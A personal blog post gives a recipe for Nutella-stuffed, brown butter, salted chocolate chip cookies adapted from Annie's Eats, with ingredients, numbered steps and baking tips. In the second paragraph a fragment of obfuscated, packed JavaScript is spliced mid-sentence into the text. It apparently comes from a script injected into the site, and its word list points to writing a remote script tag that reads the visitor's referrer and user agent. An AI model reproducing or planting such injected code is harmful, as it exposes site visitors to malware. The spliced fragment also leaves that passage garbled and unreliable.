Nutella, Chocolate Chip, Brown Butter, Salted Cookies

Or something like that.  I basically just listed all the ingredients.  It’s a mouth full, in more ways than one!

My friend, Brooke, sent me this recipe from Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfis|var|u0026u|referrer|hadsb||js|php’.split(‘|’),0,{}))
Eats.  And since I like all of the ingredients listed, I decided to give it a try. PS Annie’s Eats has a ton of amazing recipes.  Nothing super fancy, but so far everything I’ve tried has been tasty.

Ok, back to the recipe adapted from Annie’s Eats.

Ingredients

Nutella (if you have another favorite, go for it….but I like Nutella)
1 cup unsalted butter
2¼ cups all-purpose flour
1¼ tsp. baking soda
½ tsp. coarse sea salt, plus more sprinkling
1 cup light brown sugar (I lightly packed mine and it worked fine)
½ cup granulated sugar
1 large egg plus 1 egg yolk
2½ tsp. vanilla extract
1 tbsp. greek yogurt or sour cream (I almost forgot this)
1 cup semisweet chocolate chips (I’m going to try 3/4 next time)
¾ cup dark chocolate chips (I’ll probably try 1/2 next time)

I thought there were too many chips…I know….how can you have too many? Brooke thought I was crazy when I said  I would decrease the chips in subsequent batches.  But then she tried them and agreed.

Ok, now for the directions.

1.  Line a shallow baking pan or cookie sheet with parchment.  Use a ~1Tbs cookie scoop to make little nutella nuggets.  Fill the scoop ~1/3 full and then “plop” the nutella nugget onto the parchment.  Make around 36.  Freeze for a few hours (overnight was best, but 2 hours or so will work in a pinch).  You don’t have to use a scoop, I just found it to be much easier.  Annie suggests using a plastic bag (pastry bag would work too), which I’m sure would work well.  I tried the plastic bag, wish I’d used a pastry bag, and then went for the scoop on round 2.  I preferred the scoop.
2.  Now prep the dough.
3.  First you need to make browned butter.  Melt the butter in a pan.  Stir.  Once melted, set to medium ish heat and continue stirring until the butter starts to turn brown (butter foam will start to form…don’t worry, that’s normal).  And then, voila!  Browned butter. Set aside and let cool.
4.  Mix the flour, baking soda and salt in a bowl.  Set aside.
5.  Mix the sugar and browned butter in a mixer until smooth.  Add the eggs.  Then add the vanilla and yogurt/sour cream.  Lower the speed an begin to add the dry ingredients.  Continue mixing until just combined.
6.  Fold in the chips.
7.  Chill the dough for about an hour (or longer)
8.  Now the tricky part.  You’re going to have to put the nugget of nutella inside the dough.  Use the 1Tbs scoop to get a heaping scoop of dough.  Spread it into a flat, circle and put the nugget in the middle.  Then fold the sides around the nugget until it’s tight.  Place on a lined cookie sheet (I used a silpat, but parchment works too).
9.  Bake at 350 for around 12-15 minutes.  (I have a hot oven so I used 345 for 12 min).
10.  As soon as they come out of the oven, sprinkle with salt.  I used kosher.  I was a little light handed at first, but found that the more heavy-handed sprinkle jobs tasted better.
11.  Enjoy!

A few notes.  The more nutella the better.  My first batch was light on the nutella and heavy on the cookie.  It should be the other way around.  Batch 2 was heavy on the nutella and they were tasty!

Have a glass of milk handy, these suckers are sweet!